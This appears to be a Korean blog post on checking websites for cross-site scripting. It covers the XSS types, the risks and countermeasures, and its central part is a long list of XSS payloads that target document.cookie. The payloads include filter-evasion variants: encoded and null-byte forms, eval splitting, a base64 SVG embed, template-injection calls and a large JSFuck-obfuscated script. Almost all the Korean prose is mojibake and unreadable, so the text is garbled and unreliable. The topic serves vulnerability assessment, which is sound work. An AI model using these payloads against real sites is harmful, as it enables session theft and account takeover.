์ทจ์ฝ์ ์๊ฐ
์น ์ฌ์ดํธ ๋ด์ ํ๋ผ๋ฏธํฐ์ ์คํฌ๋ฆฝํธ ๋ฌธ์ ์ ๋ ฅํ์ ๋, ์ต์ข ์ฌ์ฉ์์ ํด๋ผ์ด์ธํธ์์ ํด๋น ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๋ ์ทจ์ฝ์
(๊ฒ์ํ ์ฌ์ดํธ, 1:1 ๋ฌธ์, URL, ...)
์ ๊ฒ ๋ชฉ์
(์ ์์ ์ธ)์คํฌ๋ฆฝํธ์ ์คํ์ ์ฐจ๋จํ๊ธฐ ์ํจ
์ํ ์๋๋ฆฌ์ค
- ๊ฒ์๊ธ์ด๋ ์ด๋ฉ์ผ์ ์ฝ๋ ์ฌ์ฉ์์ ์ฟ ํค(์ธ์ )๋ฅผ ํ์ทจํ์ฌ ์ค์ฉํ๊ฑฐ๋ ์ ์์ ์ฌ์ดํธ(๊ฐ์ธ์ ๋ณด ํ์ทจ ๊ฐ๋ฅ ์ฌ์ดํธ, ...)๋ก
Redirect ํ ์ ์์
XSS ์ข ๋ฅ (Stroed XSS, Reflected XSS, Dom-Based XSS)
โป์ํ๋ ๊ธฐ์ค์ ๊ฐ์ธ์ ์ด๋ฉฐ ์ฌ๊ธฐ์ ํฌ์ฌ ์ทจ์ฝ์ ์ค์์ ๋ถ๋ฅํจ (Critical, Major, Minor)
> Stored XSS ( Critical ) - ํด๋น ํ์ด์ง ์ ๊ทผ ์, ์คํฌ๋ฆฝํธ ๋ฐ์
: DB์ ์ ์ฅ๋ ๋ฐ์ดํฐ์ ์ ๊ทผํ๊ธฐ๋ง ํด๋ ์คํฌ๋ฆฝํธ๊ฐ ์คํ๋๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ ์ฑ๊ณต ์ ๋ฌด์ํ ๋ง์ ํผํด์๊ฐ ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ด ๋์
์์ ๊ฒ์ํ ๊ธ ์์ฑ, 1:1 ๋ฌธ์ ๊ฒ์ํ, ํ์ ์ ๋ณด ๊ฐ์ ํ์ด์ง, ...
> Reflectd XSS ( Major ) - ์ฌ์ฉ์๋ก๋ถํฐ ์ ๋ ฅ๋ฐ์(์กฐ์๋ URL) ๋ฐ์ดํฐ๊ฐ ์ฆ์ ์น ํ์ด์ง์ ๋ฐ์๋ ๋ ์คํฌ๋ฆฝํธ ๋ฐ์
: URL์ ๋ด๊ธด ํ๋ผ๋ฏธํฐ ์ ๋ณด๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ณต๊ฒฉ์ด ์ํ๋๊ธฐ ๋๋ฌธ์, Attacker๊ฐ ์ฌํ๊ณตํ์ ๊ธฐ๋ฒ(์ ์์ ์ธ URL ๋ด๊ธด ํผ์ฑ ๋ฉ์ผ)์ ์ด์ฉํด ์ ์์ URL์ Victim์๊ฒ ์ ๋ฌ. ํด๋น URL์ Victim์ด ์คํ์์ผ์ผ๋ง ๊ณต๊ฒฉ ์ํ์ด ๊ฐ๋ฅ
๊ฒ์ ์ฐฝ ํ๋ผ๋ฏธํฐ, ๋ชฉ๋ก ์กฐํ, ์์ธ ํ์ด์ง, ...
> DOM XSS ( Major ) - ํด๋ผ์ด์ธํธ์์ ํด๋น ํ๋ผ๋ฏธํฐ๋ฅผ ์ฒ๋ฆฌํ ๋ ์คํฌ๋ฆฝํธ ๋ฐ์
: ์๋ฒ์์ ํ๋ผ๋ฏธํฐ ํด์ํ๊ณ ๋์ ํ์ด์ง๋ฅผ ์์ฑํด์ ์๋ต์ ์ฃผ๋ ๊ฒ์ด ์๋, ํด๋ผ์ด์ธํธ์์ ํ๋ผ๋ฏธํฐ๋ฅผ ์ฒ๋ฆฌํ ๋ ๋ฐ์ํ ์ ์์
: ์๋ฒ๋ก ํ๋ผ๋ฏธํฐ๋ฅผ ์ ๋ฌํ์ง ์์ ์๋ฒ์์๋ ๊ณต๊ฒฉ์ ์ํํ ๊ฒ์ธ์ง ์๋์ง ํ์ ํ๊ธฐ ์ฝ์ง ์์ ํน์ฑ์ด ์์
ex) http://example.com/page.html#default=<script>...</script>
ํผํด ๊ฐ๋ฅ์ฑ
- ์ฟ ํค(์ธ์ ) ํ์ทจ
- ๊ณต๊ฒฉ์๊ฐ ์ํ๋ ์ฌ์ดํธ๋ก ๋ฆฌ๋ค์ด๋ ์ (ํผ์ฑ๊ณต๊ฒฉ, ํค๋ก๊น , ...)
- CSRF ์ทจ์ฝ์ ์ฐ๊ณ์ ํ์ฉ
- ์น ์ฌ์ดํธ ์ธ๊ด ๋ณ์กฐ ๊ฐ๋ฅ์ฑ(๊ฐ์ง ์ ๋ณด, ...)
...
๊ณต๊ฒฉ๊ตฌ๋ฌธ
<script>alert(document.cookie)</script>
%3Cscript%3Ealert(document.cookie)%3C/script%3E
%253Cscript%253Ealert(document.cookie)%253C/script%253E
<script>alert`document.cookie`</script>
<script>eval('\x61lert(document.cookie)')</script>
javascript:eval('alert(document.cookie)
<svg+onload=alert(document.cookie)>
<svg/onload=alert(document.cookie)>
<img+src=javascript:alert(document.cookie)>
<img src=x onerror=alert(document.cookie)>
<div style="width:expression(alert(document.cookie))">
<iframe src="data:text/html,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3c%2f%73%63%72%69%70%74%3e"></iframe>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<script>eval('alert(d'+'ocument.'+'co'+'okie)')</script>
<script>with(document){alert(domain)}</script>
”/><script>alert(document.cookie)</script>”/>
\";alert(document.cookie);//
'); alert(document.cookie);
</script><script>alert(document.cookie)</script>
{alert(document.cookie)}
<div style="background-image: url(javascript:alert(document.cookie))">
<div style="width: expression(alert(document.cookie))">
/* json ํ์ผ ์
๋ก๋ ๊ธฐ๋ฅ ๋ฐ ๊ธฐํ */
#"><img src=/onerror=alert(document.cookie)>"
/* ex)
“data” :{
“name”: “#”><img scr=/onerror=alert(3)>"
“type”: “AUTO_EVENT_VAR”
“autoEventVarMacro”: {
"varType”: “HISTORY_NEW_URL_FRAGMENT”
}
}
*/
<s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(document.cookie);</s%00c%00r%00i%00p%00t>
{{constructor.constructor("alert(document.cookie)")()}}
<script>alert(document.cookie)</script> ← JSFuck
[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]][([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[+!+[]+[!+[]+!+[]+!+[]]]+([][[]]+[])[!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+[+!+[]])+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+([+[]]+![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[!+[]+!+[]+[+[]]]+([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+[]]+(![]+[+[]])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(+(!+[]+!+[]+[+!+[]]+[+!+[]]))[(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([]+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][[]]+[])[+!+[]]+(![]+[])[+!+[]]+((+[])[([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[+!+[]+[+!+[]]]+(!![]+[])[!+[]+!+[]+!+[]]]](!+[]+!+[]+!+[]+[+!+[]])[+!+[]]+(!![]+[])[+[]]+([]+[])[([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[+[]]+(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(!![]+[])[+[]]]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]]()[!+[]+!+[]])()
...
[24-05-12] - ์ถ๊ฐ ์์ฑ ์์
๋์๋ฐฉ์
- ์น ์ฌ์ดํธ ๋ด์ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ด ์ ์ฅ๋๋ ํ์ด์ง์ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ ๋ํด Server Side ๋จ์์ ํ๊ทธ๋ ํด๋น ๋ฌธ์์ด ํํฐ๋ง ์ฒ๋ฆฌ ํ์
- ์
๋ ฅ ๊ฐ ํํฐ๋ง ๋ก์ง ๊ตฌํ ์ ๊ณต๋ฐฑ ๋ฌธ์ ์ ๊ฑฐ trim, replace ํจ์ ์ฌ์ฉํ์ฌ Server Side ๋จ์์ ๊ตฌํ
(ํด๋ผ์ด์ธํธ ๋จ์์ ๊ตฌํ ์ ์ฐํ ๊ฐ๋ฅ์ฑ์ด ์กด์ฌํ๊ธฐ ๋๋ฌธ)
- URL ์ธ์ฝ๋ฉ ๊ฐ ๋์ฝ๋ฉํ์ฌ ์ฐํ ๊ณต๊ฒฉ ์ฐจ๋จ
- ์ฟ ํค ์์ฑ(ํค๋) ํ์ฉ(HttpOnly, Secury, ...)
- ํ์ํ ๊ฒฝ์ฐ๊ฐ ์๋๋ผ๋ฉด HTML Editor ๊ธฐ๋ฅ ์ ๊ฑฐ
...
Refer to...
โถ ์ฃผ์์ ๋ณดํต์ ๊ธฐ๋ฐ์์ค_๊ธฐ์ ์ _์ทจ์ฝ์ _๋ถ์ใํ๊ฐ_๋ฐฉ๋ฒ_์์ธ๊ฐ์ด๋(2021.03.)
โถ https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
โถ ๊ธฐํ ๋ธ๋ก๊ทธ
โถ ...
...
'์ทจ์ฝ์ ๋ถ์ ๊ธฐ์ค > WEB' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
04. ์ด์์ฒด์ ๋ช ๋ น ์คํ (0) | 2024.05.12 |
---|---|
03. LDAP ์ธ์ ์ (0) | 2024.05.12 |
02. ํฌ๋งท์คํธ๋ง (0) | 2024.05.12 |
01. ๋ฒํผ์ค๋ฒํ๋ก์ฐ (0) | 2024.05.12 |
05. SQL ์ธ์ ์ (MySQL, Oracle, MSSQL, ...) (0) | 2024.04.11 |